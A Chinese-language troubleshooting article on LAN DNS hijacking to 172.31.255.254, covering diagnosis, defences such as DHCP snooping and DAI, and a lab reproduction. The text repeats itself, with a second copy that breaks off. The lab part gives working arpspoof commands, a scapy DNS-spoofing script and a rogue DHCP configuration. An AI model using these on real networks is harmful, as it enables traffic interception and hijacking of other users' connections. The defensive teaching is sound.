1. 项目概述一次典型的内部网络“悬案”最近在排查一个内部网络问题时遇到一个挺有意思的案例局域网内部分设备的DNS解析结果被神秘地指向了一个内网IP172.31.255.254。这个IP既不是我们预设的网关也不是任何已知的服务地址但它却像幽灵一样出现在某些域名解析的结果里导致部分内部服务访问异常外部网站加载缓慢甚至失败。这听起来有点像网络版的“密室逃脱”所有线索都指向内部但凶手却隐于无形。这种问题在中小型办公网络、校园网甚至一些家庭网络中其实并不少见。用户最直观的感受可能就是“网速时好时坏”、“某个网站打不开但别的可以”、“公司内部系统突然登录不了”。对于运维人员或稍微懂点技术的用户来说看到nslookup或者dig命令返回一个完全陌生的IP尤其是像172.31.255.254这类通常出现在云服务商如AWS VPC默认网关段的地址时第一反应往往是困惑和警惕。这背后可能涉及DHCP配置错误、路由器/防火墙的“贴心”功能、恶意软件作祟甚至是网络设备漏洞导致的流量劫持。本次排查与复现我将以一个实际遇到的场景为蓝本带你走一遍完整的诊断流程。我们不仅要找到“DNS被劫持到172.31.255.254”这个现象的根本原因还要尝试在可控环境中复现它从而深刻理解局域网内DNS劫持的各种手段、影响以及最有效的防范和修复方法。无论你是遇到类似问题的普通用户还是负责网络维护的工程师这篇从实战中总结的指南都能提供直接的帮助。2. 核心原理DNS劫持是如何发生的在深入排查之前我们必须搞清楚DNS劫持特别是在局域网LAN环境下究竟有哪些“作案手法”。DNS域名系统好比互联网的电话簿负责将我们熟悉的域名如www.example.com翻译成机器可识别的IP地址如93.184.216.34。劫持这个过程就意味着在翻译环节动了手脚给了你一个错误的“电话号码”。2.1 局域网DNS劫持的常见途径在局域网这个相对封闭的环境里攻击者或错误配置的设备有多种方式可以介入DNS解析流程ARP欺骗ARP Spoofing/Poisoning这是最经典、最活跃的中间人攻击手段之一。攻击者通过发送伪造的ARP地址解析协议响应包欺骗局域网内的其他设备让它们相信攻击者的MAC地址对应着网关或者合法DNS服务器的IP地址。一旦成功所有发往网关或DNS服务器的流量都会先经过攻击者的机器。此时攻击者可以轻松地搭建一个伪DNS服务器对任意查询返回他设定的IP比如172.31.255.254。DHCP服务器恶意分配DHCP动态主机配置协议负责给接入网络的设备自动分配IP地址、网关、DNS服务器等信息。如果网络中存在非授权的DHCP服务器可能是误配置的软路由、员工私自搭建的服务器甚至是恶意软件它可能会给客户端分配一个被篡改的DNS服务器地址。这个恶意DNS服务器自然会返回错误的解析结果。路由器/网关的“强制”功能很多商用或家用路由器/防火墙提供“DNS重定向”、“DNS过滤”或“家长控制”功能。这些功能的初衷可能是为了屏蔽不良网站或进行流量审计。但如果配置不当或者设备固件存在漏洞这些功能可能会错误地将所有未知域名或特定域名的解析请求重定向到一个预设的内部IP例如管理界面IP或某个不存在服务的地址从而表现为DNS劫持。本地Hosts文件篡改这是最直接但也最“低级”的方式。攻击者如果获得了系统的写入权限可以直接修改C:\Windows\System32\drivers\etc\hostsWindows或/etc/hostsLinux/macOS文件添加一条如172.31.255.254 www.baidu.com的记录那么在该台机器上百度就会被解析到这个错误IP。但这通常只影响单机。恶意软件/广告软件一些恶意软件或顽固的广告插件会修改系统的DNS设置或者安装一个网络驱动层过滤器LSP/WFP在系统底层拦截和修改DNS查询包以达到弹广告、刷流量或钓鱼的目的。2.2 为什么是172.31.255.254这个IP地址本身很有迷惑性。172.31.0.0/16这个网段是AWS亚马逊云VPC虚拟私有云中默认的私有IP地址范围之一。在一个标准的AWS VPC中x.x.x.254通常是该子网的网络网关地址实际是VPC路由器的一个接口。所以172.31.255.254看起来非常像一个云环境内部的默认网关。在非AWS环境里出现这个IP可能有以下几种原因配置错误某台网络设备如路由器、防火墙的配置模板或固件中错误地使用了AWS的默认网关IP作为某些功能如DNS拦截、未知域名指向的占位符或默认值。恶意软件的“指纹”某些恶意软件或脚本可能固定使用这个IP作为其命令控制CC服务器的地址或者作为DNS劫持的目标以混淆视听。测试或演示代码残留开发人员在编写网络测试脚本或演示漏洞利用代码时常使用这个段落的IP作为例子可能不小心将其部署到了生产或测试环境。注意172.31.255.254是一个合法的私有IP地址RFC 1918在互联网上不可路由。这意味着如果你的电脑被指向这个地址去访问网页TCP连接会尝试建立到局域网内这个IP的80或443端口。如果该IP没有运行任何Web服务连接就会超时或拒绝导致“无法访问此网站”的错误。3. 系统性排查流程与实战诊断当发现DNS解析异常时切忌盲目操作。遵循一个由浅入深、从本地到网络的排查顺序可以高效地定位问题根源。下面是我在实际排查中总结的步骤。3.1 第一步本地信息收集与初步判断首先我们需要在出问题的客户端上收集信息确认问题现象和范围。1. 验证DNS解析结果打开命令提示符CMD或终端使用nslookup或digLinux/macOS命令。# 使用 nslookup 查询一个常用域名比如百度 nslookup www.baidu.com # 或者使用 dig信息更详细 dig www.baidu.com观察返回的SERVER字段即为你提供解析的DNS服务器地址和Address字段即解析出的IP地址。如果Address显示为172.31.255.254则确认问题存在。同时记录下SERVER的IP这是你当前使用的DNS服务器。2. 检查本地网络配置# Windows ipconfig /all # Linux/macOS ifconfig 或 ip addr show cat /etc/resolv.conf重点关注输出中的DNS Servers项。你会看到一组IP地址。这些地址是从哪里来的通常来自DHCP自动获取也可能是手动设置的。如果其中出现了你不认识的、异常的DNS服务器IP尤其是内网IP这就是一个重要线索。3. 检查本地Hosts文件快速查看Hosts文件是否被篡改。# Windows type C:\Windows\System32\drivers\etc\hosts # Linux/macOS cat /etc/hosts查找是否有包含172.31.255.254的条目。4. 对比测试换设备在同一网络下用另一台电脑或手机测试相同的域名解析看问题是否复现。如果只有单台设备有问题问题很可能在本地Hosts文件、恶意软件。如果多台设备都有问题则是网络层面的问题。换网络将有问题的设备连接到手机热点或其他网络再次测试DNS解析。如果解析恢复正常则百分之百确定是当前局域网环境的问题。使用公共DNS在命令行临时指定一个可信的公共DNS服务器进行查询可以绕过本地配置的DNS。nslookup www.baidu.com 114.114.114.114如果使用114.114.114.114或8.8.8.8能返回正确结果而使用自动获取的DNS服务器则返回172.31.255.254那问题就出在你自动获取的那个DNS服务器上。3.2 第二步网络层深度排查如果初步判断是网络问题就需要动用更专业的工具进行探查。1. 探测局域网内的异常DHCP服务器使用nmap进行扫描。# 扫描局域网内所有在67端口DHCP服务端口开放的设备 sudo nmap -sU -p 67 --script broadcast-dhcp-discover 192.168.1.0/24-sU表示UDP扫描-p 67指定端口--script broadcast-dhcp-discover是一个NSE脚本用于发现DHCP服务器。你需要将192.168.1.0/24替换成你实际的局域网网段。这个操作可能会发现不止一个DHCP服务器其中那个非官方的就很可疑。2. 检测ARP欺骗可以使用arp -aWindows/Linux查看当前的ARP缓存表但更有效的方法是使用专门工具。Wireshark抓包分析这是最权威的方法。在受影响机器上开启Wireshark过滤arp或dns。观察是否有来自同一IP非网关的、频繁的ARP响应包或者观察DNS响应包是否来自非预期的IP地址。使用ArpwatchLinux这是一个守护进程专门监控ARP变化并报告异常。使用静态ARP绑定作为一种临时诊断和缓解措施可以在客户端将网关的IP和正确的MAC地址进行静态绑定防止被欺骗。# Windows (需要管理员权限) arp -s 网关IP 网关正确MAC地址 # 例如arp -s 192.168.1.1 aa-bb-cc-dd-ee-ff3. 追踪DNS查询路径使用dig trace命令可以展示完整的DNS递归查询过程帮助你看到是哪个环节返回了错误结果。但在局域网劫持场景下你的查询可能根本出不了本地网络trace的结果第一跳就是那个恶意DNS。3.3 第三步定位与取证通过以上步骤你应该能缩小范围。假设我们通过ipconfig /all发现DNS服务器是192.168.1.253而你的正规网关是192.168.1.1。1. 定位192.168.1.253# 尝试ping一下这个IP ping 192.168.1.253 # 获取其MAC地址 arp -a | findstr 192.168.1.253 (Windows) arp -n 192.168.1.253 (Linux) # 根据MAC地址前几位OUI判断厂商 # 例如如果MAC是 00:11:22:xx:xx:xx可以去IEEE OUI数据库查询00:11:22属于哪个厂商如果这个MAC地址对应的设备是一台你不认识的电脑非路由器那么它很可能就是运行着恶意DHCP或伪DNS服务的机器。2. 登录网络设备管理界面登录你的主路由器或核心交换机的管理后台通常是192.168.1.1。检查以下关键配置DHCP服务器设置确认分配的DNS服务器地址是否正确。检查是否有开启“强制DNS”或“DNS代理”等功能。安全设置查看是否有ARP防护、DHCP SnoopingDHCP侦听功能这些是防御ARP欺骗和流氓DHCP的有效手段。系统日志查看日志中是否有关于DHCP冲突、异常ARP活动的记录。4. 可控环境下的劫持复现与原理验证理解了原理和排查方法后我们可以在一个安全的、隔离的测试环境例如虚拟机组成的局域网中主动复现几种常见的DNS劫持场景。这不仅能加深理解也能测试防御措施的有效性。警告以下操作仅限在你自己完全控制的实验环境中进行切勿在任何生产或他人网络中使用。4.1 实验环境搭建我们使用两台虚拟机VM来模拟受害者Victim运行普通操作系统如Windows 10或Ubuntu网络设置为桥接或内部网络模拟局域网内普通用户电脑。攻击者Attacker运行Kali Linux或任何安装了必要工具的Linux发行版与受害者处于同一网络段。确保两台虚拟机可以互相ping通。4.2 复现手法一ARP欺骗 伪DNS服务器这是最“教科书”式的中间人攻击。在攻击者机器上操作启用IP转发让攻击者机器可以转发受害者的数据包使其在劫持后仍能正常上网可选用于更隐蔽的攻击。echo 1 /proc/sys/net/ipv4/ip_forward进行ARP欺骗使用arpspoofdsniff套件的一部分工具欺骗受害者让其认为攻击者就是网关。# 假设网关是 192.168.1.1受害者IP是 192.168.1.100 arpspoof -i eth0 -t 192.168.1.100 192.168.1.1这条命令会持续向受害者 (-t 192.168.1.100) 发送伪造的ARP响应声称网关 (192.168.1.1) 的MAC地址是攻击者自己的MAC。搭建简易伪DNS服务器使用Python的scapy库可以快速编写一个能拦截DNS查询并返回伪造响应的脚本。# 伪dns_server.py from scapy.all import * from scapy.layers.dns import DNS, DNSQR, DNSRR from scapy.layers.inet import IP, UDP def dns_spoof(pkt): if pkt.haslayer(DNSQR): # 检测DNS查询请求 spoofed_ip 172.31.255.254 # 我们想要劫持到的IP original_domain pkt[DNSQR].qname.decode() print(f[*] Intercepted DNS query for: {original_domain}) # 构造伪造的DNS响应包 spoofed_pkt IP(dstpkt[IP].src, srcpkt[IP].dst) / \ UDP(dportpkt[UDP].sport, sport53) / \ DNS(idpkt[DNS].id, qr1, aa1, qdpkt[DNS].qd, anDNSRR(rrnamepkt[DNSQR].qname, ttl10, rdataspoofed_ip)) send(spoofed_pkt, verbose0) print(f[] Sent spoofed response for {original_domain} - {spoofed_ip}) # 监听53端口的UDP包DNS sniff(filterudp port 53, prndns_spoof, store0)运行此脚本sudo python3 dns_server.py。你需要根据实际情况修改网卡和IP。在受害者机器上验证此时在受害者机器上执行nslookup www.google.com你会看到解析结果变成了172.31.255.254。同时尝试访问任何被劫持的网站都会失败因为该IP没有Web服务。4.3 复现手法二部署流氓DHCP服务器这种方法可以让新加入网络的设备自动获得恶意DNS配置。在攻击者机器上操作安装并配置DHCP服务器例如使用isc-dhcp-server。sudo apt update sudo apt install isc-dhcp-server -y编辑DHCP配置文件/etc/dhcp/dhcpd.confsubnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.200 192.168.1.220; option routers 192.168.1.1; # 仍然指向真实网关避免断网引起怀疑 option domain-name-servers 172.31.255.254; # 关键将DNS服务器指向恶意IP option domain-name internal.example.org; default-lease-time 600; max-lease-time 7200; }这里的关键是option domain-name-servers我们将其设置为172.31.255.254。实际上这个IP可能不存在服务所以更真实的攻击会指向一个由攻击者控制的、能提供解析的伪DNS服务器IP如攻击者自身的IP。启动流氓DHCP服务器sudo systemctl stop isc-dhcp-server # 先停止防止冲突 sudo dhcpd -cf /etc/dhcp/dhcpd.conf eth0在受害者机器上验证将受害者的网络连接设置为“自动获取IP地址”DHCP然后断开重连。使用ipconfig /all或cat /etc/resolv.conf查看会发现DNS服务器地址变成了172.31.255.254或你在配置中指定的恶意IP。随后进行的DNS查询都将被这个服务器控制。实操心得在实际复现中为了让实验效果更明显你可以在攻击者机器上真正运行一个DNS服务器软件如dnsmasq并配置它将所有域名解析到172.31.255.254或者将特定域名如www.baidu.com解析到该IP。这样在受害者机器上不仅能从配置中看到异常DNS用nslookup查询时也能看到来自攻击者IP的、包含172.31.255.254的响应。5. 防御策略与根治方案排查和复现是为了更好的防御。针对局域网DNS劫持我们需要构建一个从终端到网络设备的立体防御体系。5.1 终端侧防护使用静态DNS并定期检查对于重要的服务器或固定办公电脑可以考虑手动设置静态IP和DNS指向可靠的内网或公共DNS如114.114.114.114,223.5.5.5。但需注意这无法防御ARP欺骗等链路层劫持。启用防火墙与安全软件保持操作系统和杀毒软件更新它们可以检测并阻止一些已知的恶意软件或网络层攻击行为。定期检查Hosts文件与网络配置养成安全习惯不定期检查Hosts文件是否被修改以及网络适配器中的DNS设置是否异常。使用DNSSEC或DoH/DoTDNSSEC通过数字签名验证DNS响应的真实性能有效防止结果被篡改但需要递归DNS服务器和支持的客户端。DNS over HTTPS (DoH) / DNS over TLS (DoT)将DNS查询通过加密的HTTPS或TLS通道传输可以防止局域网内的窃听和篡改。现代浏览器和操作系统已逐步支持。例如在Firefox中开启DoH可以很大程度上免疫本地的DNS劫持。5.2 网络设备侧加固这是防御局域网内劫持最有效的一环但需要网络管理权限。启用DHCP Snooping在支持的管理型交换机上这是一项关键安全特性。它允许交换机监听DHCP报文并建立一个“DHCP绑定表”记录IP、MAC、端口和租期的对应关系。同时它可以信任特定端口如上联到合法DHCP服务器的端口而在非信任端口如连接用户电脑的端口上拦截DHCP服务器的响应报文从而彻底杜绝流氓DHCP服务器。启用DAI动态ARP检测通常与DHCP Snooping配合使用。DAI会检查ARP报文的合法性只允许“DHCP绑定表”中存在的、合法的IP-MAC对应关系进行ARP广播直接防御ARP欺骗攻击。启用IP Source Guard同样基于DHCP Snooping绑定表它可以在端口上过滤数据包只允许绑定表中该端口对应的源IP地址发出的流量通过防止IP地址欺骗。配置端口安全限制交换机端口上允许学习的MAC地址数量可以防止攻击者接入多台设备或进行MAC泛洪攻击。路由器/防火墙配置关闭不必要的“DNS重定向”、“强制门户”等功能。确保路由器自身的DNS设置正确并且其DHCP服务分发的DNS地址是可靠的。定期更新路由器固件修补已知漏洞。5.3 应急响应与根治步骤当确认发生局域网DNS劫持后应按照以下步骤处理隔离如果可能物理断开或网络隔离你怀疑的攻击源设备根据排查到的异常IP/MAC。清除对于受影响的客户端重启网络连接ipconfig /release ipconfig /renew或dhclient -r dhclient或者手动修复DNS设置为正确的地址。检查并清理Hosts文件。溯源根据ARP表、DHCP日志、交换机MAC地址表定位到具体的物理端口和设备。检查该设备是否感染恶意软件或是否为未经授权的网络设备。加固在网络设备上实施上述防御策略DHCP Snooping, DAI等防止问题复发。审计对全网终端进行安全扫描检查是否还有其他设备被植入恶意软件或存在不当配置。6. 高级排查工具与脚本技巧对于复杂的网络环境或需要长期监控的场景一些高级工具和自制脚本能极大提升效率。6.1 使用Wireshark进行深度流量分析Wireshark不仅是抓包工具其显示过滤器和统计功能是排查利器。过滤DNS异常响应在过滤栏输入dns ip.dst受害者IP dns.flags.response 1可以只看发给受害者的DNS响应包。然后观察dns.a字段IPv4地址记录看是否有大量域名解析到同一个奇怪的IP如172.31.255.254。追踪ARP异常过滤arp然后统计arp.src.hw_mac和arp.src.proto_ipv4。如果发现同一个IP如网关对应多个不同的MAC地址或者同一个MAC地址在宣称自己是多个不同的IP这就是ARP欺骗的铁证。导出对象如果怀疑有恶意软件通过HTTP下载可以使用文件 - 导出对象 - HTTP查看所有传输的文件列表寻找可疑项。6.2 编写自动化监控脚本对于运维人员可以编写简单的脚本定期检查网络健康状态。Python示例定期检测DNS是否被篡改import subprocess import socket import time TRUSTED_DNS 114.114.114.114 TEST_DOMAINS [www.baidu.com, www.taobao.com, www.qq.com] SUSPICIOUS_IP 172.31.255.254 def check_dns(domain, dns_server): try: # 使用nslookup命令解析结果 result subprocess.check_output([nslookup, domain, dns_server], timeout5, stderrsubprocess.STDOUT, textTrue) for line in result.split(\n): if Address in line and # not in line: ip line.split(:)[-1].strip() if ip SUSPICIOUS_IP: return False, ip return True, None except subprocess.TimeoutExpired: return False, timeout except Exception as e: return False, str(e) def main(): while True: print(f\n[{time.strftime(%Y-%m-%d %H:%M:%S)}] 开始DNS健康检查...) for domain in TEST_DOMAINS: # 先用本地配置的DNS查 local_ok, local_result check_dns(domain, ) # 再用可信DNS查 trusted_ok, trusted_result check_dns(domain, TRUSTED_DNS) if not local_ok or SUSPICIOUS_IP in str(local_result): print(f 警告域名 {domain} 解析可能异常。本地结果: {local_result}, 可信结果: {trusted_result}) # 这里可以添加告警逻辑如发送邮件、写入日志文件等 else: print(f 域名 {domain} 解析正常。) time.sleep(300) # 每5分钟检查一次 if __name__ __main__: main()这个脚本会定期用本地DNS和可信DNS解析几个常用域名如果本地解析结果包含可疑IP或与可信结果不一致就发出警告。6.3 利用Nmap脚本引擎进行安全检查Nmap的NSE脚本库提供了大量安全审计脚本。# 扫描常见的网络漏洞和错误配置 sudo nmap -sV --script broadcast-dhcp-discover or dns-recursion or dns-service-discovery 192.168.1.0/24 # 检查DNS服务器是否允许递归查询对外开放的DNS服务器不应允许 sudo nmap -sU -p 53 --script dns-recursion DNS服务器IP这些脚本能帮你快速发现网络中配置不当的DHCP、DNS服务。7. 疑难杂症与排查心法在实际排查中总会遇到一些“诡异”的情况。这里分享几个我踩过的坑和总结的经验。情况一DNS劫持时有时无间歇性发作。可能原因攻击者的工具运行不稳定网络中存在多个DHCP服务器在“打架”客户端偶尔从恶意服务器获取到配置ARP欺骗的包发送频率不高。排查心法在问题发生时立即抓包Wireshark这是捕捉瞬时证据的最佳方法。同时持续运行arp -a或上述监控脚本记录变化。情况二修改本地DNS为114.114.114.114后劫持依然存在。可能原因ARP欺骗导致的链路层劫持。你的DNS查询包在出网卡时就被ARP表误导发给了攻击者机器而不是真正的网关。攻击者拦截了发往114.114.114.114的DNS查询包并伪造了响应。解决方案这证实了是ARP欺骗。必须启用网络侧的DAI防御或在终端做静态ARP绑定治标不治本。情况三只有HTTPS网站打不开HTTP网站正常。可能原因这是一种更“高级”的劫持。攻击者可能没有进行完全的DNS劫持而是实施了SSL剥离SSL Stripping或HTTPS中间人攻击。或者DNS劫持将域名指向了一个没有有效SSL证书的IP如172.31.255.254浏览器因证书错误而中断连接。排查心法仔细查看浏览器报错信息。如果是证书错误NET::ERR_CERT_AUTHORITY_INVALID等很大概率是遭遇了HTTPS中间人攻击。此时检查网络流量和证书链至关重要。情况四排查一切正常但某个特定软件/游戏就是连不上服务器。可能原因该软件可能使用了硬编码的DNS服务器或者使用了自定义的DNS解析逻辑如DoH绕过了系统的DNS设置。也可能它访问的域名被劫持而你的测试域名恰好不在劫持列表里。排查心法使用进程监控工具如Windows的Process Monitor过滤dnsapi.dll相关操作或全局网络抓包看这个软件具体向哪个IP的53端口发送了DNS查询。终极心法保持怀疑交叉验证。不要相信单一工具或单一现象。用nslookup、dig、浏览器、不同设备、不同网络进行交叉测试。将Wireshark抓包作为“终极裁判”它能告诉你网络上真实流动的每一个比特。局域网DNS劫持虽然烦人但只要理清思路由近及远从现象到本质总能拨开迷雾找到那个隐藏在角落里的“捣蛋鬼”。
局域网DNS劫持排查实战：从172.31.255.254解析异常到防御加固
发布时间：2026/8/2 6:27:57
1. 项目概述一次典型的内部网络“悬案”最近在排查一个内部网络问题时遇到一个挺有意思的案例局域网内部分设备的DNS解析结果被神秘地指向了一个内网IP172.31.255.254。这个IP既不是我们预设的网关也不是任何已知的服务地址但它却像幽灵一样出现在某些域名解析的结果里导致部分内部服务访问异常外部网站加载缓慢甚至失败。这听起来有点像网络版的“密室逃脱”所有线索都指向内部但凶手却隐于无形。这种问题在中小型办公网络、校园网甚至一些家庭网络中其实并不少见。用户最直观的感受可能就是“网速时好时坏”、“某个网站打不开但别的可以”、“公司内部系统突然登录不了”。对于运维人员或稍微懂点技术的用户来说看到nslookup或者dig命令返回一个完全陌生的IP尤其是像172.31.255.254这类通常出现在云服务商如AWS VPC默认网关段的地址时第一反应往往是困惑和警惕。这背后可能涉及DHCP配置错误、路由器/防火墙的“贴心”功能、恶意软件作祟甚至是网络设备漏洞导致的流量劫持。本次排查与复现我将以一个实际遇到的场景为蓝本带你走一遍完整的诊断流程。我们不仅要找到“DNS被劫持到172.31.255.254”这个现象的根本原因还要尝试在可控环境中复现它从而深刻理解局域网内DNS劫持的各种手段、影响以及最有效的防范和修复方法。无论你是遇到类似问题的普通用户还是负责网络维护的工程师这篇从实战中总结的指南都能提供直接的帮助。2. 核心原理DNS劫持是如何发生的在深入排查之前我们必须搞清楚DNS劫持特别是在局域网LAN环境下究竟有哪些“作案手法”。DNS域名系统好比互联网的电话簿负责将我们熟悉的域名如www.example.com翻译成机器可识别的IP地址如93.184.216.34。劫持这个过程就意味着在翻译环节动了手脚给了你一个错误的“电话号码”。2.1 局域网DNS劫持的常见途径在局域网这个相对封闭的环境里攻击者或错误配置的设备有多种方式可以介入DNS解析流程ARP欺骗ARP Spoofing/Poisoning这是最经典、最活跃的中间人攻击手段之一。攻击者通过发送伪造的ARP地址解析协议响应包欺骗局域网内的其他设备让它们相信攻击者的MAC地址对应着网关或者合法DNS服务器的IP地址。一旦成功所有发往网关或DNS服务器的流量都会先经过攻击者的机器。此时攻击者可以轻松地搭建一个伪DNS服务器对任意查询返回他设定的IP比如172.31.255.254。DHCP服务器恶意分配DHCP动态主机配置协议负责给接入网络的设备自动分配IP地址、网关、DNS服务器等信息。如果网络中存在非授权的DHCP服务器可能是误配置的软路由、员工私自搭建的服务器甚至是恶意软件它可能会给客户端分配一个被篡改的DNS服务器地址。这个恶意DNS服务器自然会返回错误的解析结果。路由器/网关的“强制”功能很多商用或家用路由器/防火墙提供“DNS重定向”、“DNS过滤”或“家长控制”功能。这些功能的初衷可能是为了屏蔽不良网站或进行流量审计。但如果配置不当或者设备固件存在漏洞这些功能可能会错误地将所有未知域名或特定域名的解析请求重定向到一个预设的内部IP例如管理界面IP或某个不存在服务的地址从而表现为DNS劫持。本地Hosts文件篡改这是最直接但也最“低级”的方式。攻击者如果获得了系统的写入权限可以直接修改C:\Windows\System32\drivers\etc\hostsWindows或/etc/hostsLinux/macOS文件添加一条如172.31.255.254 www.baidu.com的记录那么在该台机器上百度就会被解析到这个错误IP。但这通常只影响单机。恶意软件/广告软件一些恶意软件或顽固的广告插件会修改系统的DNS设置或者安装一个网络驱动层过滤器LSP/WFP在系统底层拦截和修改DNS查询包以达到弹广告、刷流量或钓鱼的目的。2.2 为什么是172.31.255.254这个IP地址本身很有迷惑性。172.31.0.0/16这个网段是AWS亚马逊云VPC虚拟私有云中默认的私有IP地址范围之一。在一个标准的AWS VPC中x.x.x.254通常是该子网的网络网关地址实际是VPC路由器的一个接口。所以172.31.255.254看起来非常像一个云环境内部的默认网关。在非AWS环境里出现这个IP可能有以下几种原因配置错误某台网络设备如路由器、防火墙的配置模板或固件中错误地使用了AWS的默认网关IP作为某些功能如DNS拦截、未知域名指向的占位符或默认值。恶意软件的“指纹”某些恶意软件或脚本可能固定使用这个IP作为其命令控制CC服务器的地址或者作为DNS劫持的目标以混淆视听。测试或演示代码残留开发人员在编写网络测试脚本或演示漏洞利用代码时常使用这个段落的IP作为例子可能不小心将其部署到了生产或测试环境。注意172.31.255.254是一个合法的私有IP地址RFC 1918在互联网上不可路由。这意味着如果你的电脑被指向这个地址去访问网页TCP连接会尝试建立到局域网内这个IP的80或443端口。如果该IP没有运行任何Web服务连接就会超时或拒绝导致“无法访问此网站”的错误。3. 系统性排查流程与实战诊断当发现DNS解析异常时切忌盲目操作。遵循一个由浅入深、从本地到网络的排查顺序可以高效地定位问题根源。下面是我在实际排查中总结的步骤。3.1 第一步本地信息收集与初步判断首先我们需要在出问题的客户端上收集信息确认问题现象和范围。1. 验证DNS解析结果打开命令提示符CMD或终端使用nslookup或digLinux/macOS命令。# 使用 nslookup 查询一个常用域名比如百度 nslookup www.baidu.com # 或者使用 dig信息更详细 dig www.baidu.com观察返回的SERVER字段即为你提供解析的DNS服务器地址和Address字段即解析出的IP地址。如果Address显示为172.31.255.254则确认问题存在。同时记录下SERVER的IP这是你当前使用的DNS服务器。2. 检查本地网络配置# Windows ipconfig /all # Linux/macOS ifconfig 或 ip addr show cat /etc/resolv.conf重点关注输出中的DNS Servers项。你会看到一组IP地址。这些地址是从哪里来的通常来自DHCP自动获取也可能是手动设置的。如果其中出现了你不认识的、异常的DNS服务器IP尤其是内网IP这就是一个重要线索。3. 检查本地Hosts文件快速查看Hosts文件是否被篡改。# Windows type C:\Windows\System32\drivers\etc\hosts # Linux/macOS cat /etc/hosts查找是否有包含172.31.255.254的条目。4. 对比测试换设备在同一网络下用另一台电脑或手机测试相同的域名解析看问题是否复现。如果只有单台设备有问题问题很可能在本地Hosts文件、恶意软件。如果多台设备都有问题则是网络层面的问题。换网络将有问题的设备连接到手机热点或其他网络再次测试DNS解析。如果解析恢复正常则百分之百确定是当前局域网环境的问题。使用公共DNS在命令行临时指定一个可信的公共DNS服务器进行查询可以绕过本地配置的DNS。nslookup www.baidu.com 114.114.114.114如果使用114.114.114.114或8.8.8.8能返回正确结果而使用自动获取的DNS服务器则返回172.31.255.254那问题就出在你自动获取的那个DNS服务器上。3.2 第二步网络层深度排查如果初步判断是网络问题就需要动用更专业的工具进行探查。1. 探测局域网内的异常DHCP服务器使用nmap进行扫描。# 扫描局域网内所有在67端口DHCP服务端口开放的设备 sudo nmap -sU -p 67 --script broadcast-dhcp-discover 192.168.1.0/24-sU表示UDP扫描-p 67指定端口--script broadcast-dhcp-discover是一个NSE脚本用于发现DHCP服务器。你需要将192.168.1.0/24替换成你实际的局域网网段。这个操作可能会发现不止一个DHCP服务器其中那个非官方的就很可疑。2. 检测ARP欺骗可以使用arp -aWindows/Linux查看当前的ARP缓存表但更有效的方法是使用专门工具。Wireshark抓包分析这是最权威的方法。在受影响机器上开启Wireshark过滤arp或dns。观察是否有来自同一IP非网关的、频繁的ARP响应包或者观察DNS响应包是否来自非预期的IP地址。使用ArpwatchLinux这是一个守护进程专门监控ARP变化并报告异常。使用静态ARP绑定作为一种临时诊断和缓解措施可以在客户端将网关的IP和正确的MAC地址进行静态绑定防止被欺骗。# Windows (需要管理员权限) arp -s 网关IP 网关正确MAC地址 # 例如arp -s 192.168.1.1 aa-bb-cc-dd-ee-ff3. 追踪DNS查询路径使用dig trace命令可以展示完整的DNS递归查询过程帮助你看到是哪个环节返回了错误结果。但在局域网劫持场景下你的查询可能根本出不了本地网络trace的结果第一跳就是那个恶意DNS。3.3 第三步定位与取证通过以上步骤你应该能缩小范围。假设我们通过ipconfig /all发现DNS服务器是192.168.1.253而你的正规网关是192.168.1.1。1. 定位192.168.1.253# 尝试ping一下这个IP ping 192.168.1.253 # 获取其MAC地址 arp -a | findstr 192.168.1.253 (Windows) arp -n 192.168.1.253 (Linux) # 根据MAC地址前几位OUI判断厂商 # 例如如果MAC是 00:11:22:xx:xx:xx可以去IEEE OUI数据库查询00:11:22属于哪个厂商如果这个MAC地址对应的设备是一台你不认识的电脑非路由器那么它很可能就是运行着恶意DHCP或伪DNS服务的机器。2. 登录网络设备管理界面登录你的主路由器或核心交换机的管理后台通常是192.168.1.1。检查以下关键配置DHCP服务器设置确认分配的DNS服务器地址是否正确。检查是否有开启“强制DNS”或“DNS代理”等功能。安全设置查看是否有ARP防护、DHCP SnoopingDHCP侦听功能这些是防御ARP欺骗和流氓DHCP的有效手段。系统日志查看日志中是否有关于DHCP冲突、异常ARP活动的记录。4. 可控环境下的劫持复现与原理验证理解了原理和排查方法后我们可以在一个安全的、隔离的测试环境例如虚拟机组成的局域网中主动复现几种常见的DNS劫持场景。这不仅能加深理解也能测试防御措施的有效性。警告以下操作仅限在你自己完全控制的实验环境中进行切勿在任何生产或他人网络中使用。4.1 实验环境搭建我们使用两台虚拟机VM来模拟受害者Victim运行普通操作系统如Windows 10或Ubuntu网络设置为桥接或内部网络模拟局域网内普通用户电脑。攻击者Attacker运行Kali Linux或任何安装了必要工具的Linux发行版与受害者处于同一网络段。确保两台虚拟机可以互相ping通。4.2 复现手法一ARP欺骗 伪DNS服务器这是最“教科书”式的中间人攻击。在攻击者机器上操作启用IP转发让攻击者机器可以转发受害者的数据包使其在劫持后仍能正常上网可选用于更隐蔽的攻击。echo 1 /proc/sys/net/ipv4/ip_forward进行ARP欺骗使用arpspoofdsniff套件的一部分工具欺骗受害者让其认为攻击者就是网关。# 假设网关是 192.168.1.1受害者IP是 192.168.1.100 arpspoof -i eth0 -t 192.168.1.100 192.168.1.1这条命令会持续向受害者 (-t 192.168.1.100) 发送伪造的ARP响应声称网关 (192.168.1.1) 的MAC地址是攻击者自己的MAC。搭建简易伪DNS服务器使用Python的scapy库可以快速编写一个能拦截DNS查询并返回伪造响应的脚本。# 伪dns_server.py from scapy.all import * from scapy.layers.dns import DNS, DNSQR, DNSRR from scapy.layers.inet import IP, UDP def dns_spoof(pkt): if pkt.haslayer(DNSQR): # 检测DNS查询请求 spoofed_ip 172.31.255.254 # 我们想要劫持到的IP original_domain pkt[DNSQR].qname.decode() print(f[*] Intercepted DNS query for: {original_domain}) # 构造伪造的DNS响应包 spoofed_pkt IP(dstpkt[IP].src, srcpkt[IP].dst) / \ UDP(dportpkt[UDP].sport, sport53) / \ DNS(idpkt[DNS].id, qr1, aa1, qdpkt[DNS].qd, anDNSRR(rrnamepkt[DNSQR].qname, ttl10, rdataspoofed_ip)) send(spoofed_pkt, verbose0) print(f[] Sent spoofed response for {original_domain} - {spoofed_ip}) # 监听53端口的UDP包DNS sniff(filterudp port 53, prndns_spoof, store0)运行此脚本sudo python3 dns_server.py。你需要根据实际情况修改网卡和IP。在受害者机器上验证此时在受害者机器上执行nslookup www.google.com你会看到解析结果变成了172.31.255.254。同时尝试访问任何被劫持的网站都会失败因为该IP没有Web服务。4.3 